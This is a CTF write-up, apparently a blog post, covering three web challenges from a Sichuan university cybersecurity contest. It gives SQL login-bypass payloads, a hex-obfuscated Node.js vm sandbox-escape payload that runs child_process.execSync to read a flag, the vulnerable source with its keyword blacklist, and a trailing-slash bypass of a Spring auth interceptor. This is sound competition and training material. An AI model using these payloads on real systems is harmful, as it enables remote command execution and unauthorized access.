安恒杯-四川省高校网络安全技能大赛-WEB

0x00 前言

从9点到12点,时间太短了点,做了一个web跟一个misc外加一个签到,赛后环境还在,把另外两个web给整出来了。

0x01 赛题

mima

这个题在username处输出能抛出报错,比如输入 0' 0。通常没有关闭报错就用数组来探测。

0x01_1.png

看样子username没办法注入了,然后看password来,经过测试password长度最多为4,想到是跟万能密码一样的原理,给出几个payload。

‘=’

‘^1’

‘|1’

easynode2

nodejs的vm沙盒逃逸,代码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
var express = require('express');
var app = express();
var path = require('path');
var http = require('http');
var fs = require('fs');
var crypto = require('crypto');
var multer = require('multer');
const vm = require("vm");
var bodyParser = require('body-parser');
app.use(bodyParser());
app.use(bodyParser.json());
app.use('/uploads', express.static('uploads'))

var lastlogs = {};

function getClientIp(req) {
return req.headers['x-forwarded-for'] ||
req.connection.remoteAddress ||
req.socket.remoteAddress ||
req.connection.socket.remoteAddress;
};

function getSandbox(req){
var ip = getClientIp(req);
//console.log(ip);
var content = ip + 'secret';
var result = crypto.createHash('md5').update(content).digest("hex");
return result
}

function merge(target, source) {
try{
for (let key in source) {
if (typeof source[key] == 'object' && typeof target[key] == 'object' && key in source && key in target) {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
}
catch (e) {
console.log(e);
};
}


function blacklist(data) {
var evilwords = ["proto", "constructor", "this", "global", "process","mainModule","require","root","child_process","exec","'","!"];
var arrayLen = evilwords.length;
for (var i = 0; i < arrayLen; i++) {
var trigger = data.includes(evilwords[i]);
if (trigger === true) {
return true;
}
}
return false;
}

app.get('/', function(req, res) {
res.sendFile(path.join(__dirname + '/index.js'));
});

function filterBody(obj){
var s = JSON.stringify(obj);
if(blacklist(s)){
return false;
}
return true;
}

app.get('/calc', function(req, res){
var sandbox = getSandbox(req);
res.json(lastlogs[sandbox]);
});

app.get('/sandbox', function(req, res){
var sandbox = getSandbox(req);
res.end(sandbox);
});


app.post('/calc', function(req, res, next){
try{
var sandbox = getSandbox(req);
var code = req.body.code;
if(code.hasOwnProperty(sandbox) && !filterBody(code[sandbox])){
res.end('forbidden');
}
else{
if(sandbox in code){
var log = {"time":new Date().toString()};
merge(log, code);
lastlogs[sandbox] = log;
const result = vm.runInNewContext(code[sandbox]);
res.end(result);
}
else{
res.end(sandbox);
}
}
}
catch(e){
next(e)
}
});

app.use(function (err, req, res, next) {
console.log(err.stack);
res.status(500).send('Some thing broke!')
})


var server = app.listen(8085, function() {
var host = server.address().address
var port = server.address().port
console.log("Example app listening at http://%s:%s", host, port)
})

u1s1我不会这个题,nodejs没学过而且js都学过-。-但是总要猜一猜,看到了有几个请求的点

/sandbox 这里会得到一字符串

/calc Post要检测一些东西,需要一个code。这个code应该上面/sandbox获取到的那个字符串

直接贴下payload,code后面的值为请求sandbox获取到的,给自己挖个坑,后面学了nodejs再回来看。这里关于merge可以参考深入理解 JavaScript Prototype 污染攻击

1
{"code":{"51c7a554387b730e74dba747088ed0db":"eval(\"\\x63\\x6F\\x6E\\x73\\x74\\x20\\x70\\x72\\x6F\\x63\\x65\\x73\\x73\\x20\\x3D\\x20\\x74\\x68\\x69\\x73\\x2E\\x63\\x6F\\x6E\\x73\\x74\\x72\\x75\\x63\\x74\\x6F\\x72\\x2E\\x63\\x6F\\x6E\\x73\\x74\\x72\\x75\\x63\\x74\\x6F\\x72\\x28\\x27\\x72\\x65\\x74\\x75\\x72\\x6E\\x20\\x74\\x68\\x69\\x73\\x2E\\x70\\x72\\x6F\\x63\\x65\\x73\\x73\\x27\\x29\\x28\\x29\\x3B\\x70\\x72\\x6F\\x63\\x65\\x73\\x73\\x2E\\x6D\\x61\\x69\\x6E\\x4D\\x6F\\x64\\x75\\x6C\\x65\\x2E\\x72\\x65\\x71\\x75\\x69\\x72\\x65\\x28\\x27\\x63\\x68\\x69\\x6C\\x64\\x5F\\x70\\x72\\x6F\\x63\\x65\\x73\\x73\\x27\\x29\\x2E\\x65\\x78\\x65\\x63\\x53\\x79\\x6E\\x63\\x28\\x27\\x63\\x61\\x74\\x20\\x2F\\x66\\x6C\\x61\\x67\\x27\\x29\\x2E\\x74\\x6F\\x53\\x74\\x72\\x69\\x6E\\x67\\x28\\x29\")"}}

0x01_2.png

spring

好像是非预期的解法?关键代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
public void addInterceptors(InterceptorRegistry registry) {
registry.addInterceptor(new HandlerInterceptorAdapter() {
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String uri = request.getRequestURI();
int result = uri.indexOf("static/");
if (result != -1) {
return true;
} else {
uri = uri.substring(uri.lastIndexOf("/") + 1);
if (!uri.equals("login") && !uri.equals("register") && !uri.equals("reset") && !uri.equals("checkLogin") && !uri.equals("registerUser") && !uri.equals("resetUser") && !uri.equals("forgetpassword") && !uri.equals("changePasswd")) {
User user;
if (uri.equals("admin") && request.getSession().getAttribute("user") != null) {
user = (User)request.getSession().getAttribute("user");
if (!user.getUsername().equals("admin")) {
response.sendRedirect(request.getContextPath() + "/main/login");
return false;
} else {
return true;
}
} else if (uri.equals("getFlag") && request.getSession().getAttribute("user") != null) {
user = (User)request.getSession().getAttribute("user");
if (!user.getUsername().equals("admin")) {
response.sendRedirect(request.getContextPath() + "/main/login");
return false;
} else {
return true;
}
} else if (request.getSession().getAttribute("user") != null) {
return true;
} else {
response.sendRedirect(request.getContextPath() + "/main/login");
return false;
}
} else {
return true;
}
}
}
});
if (!"dev".equals(this.env)) {
registry.addInterceptor(new HandlerInterceptorAdapter() {
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
boolean pass = WebMvcConfigurer.this.validateSign(request);
if (pass) {
return true;
} else {
WebMvcConfigurer.this.logger.warn("签名认证失败,请求接口:{},请求IP:{},请求参数:{}", new Object[]{request.getRequestURI(), WebMvcConfigurer.this.getIpAddress(request), JSON.toJSONString(request.getParameterMap())});
Result result = new Result();
result.setCode(ResultCode.UNAUTHORIZED).setMessage("签名认证失败");
WebMvcConfigurer.this.responseResult(response, result);
return false;
}
}
});
}

}

拦截器中拦截了admin跟getFlag,但是没有拦截admin/跟getFlag/,先post访问getFlag/把flag保存在session中,再访问admin/就获取到flag了

0x01_3.png

0x01_4.png

在?给俺买颗糖?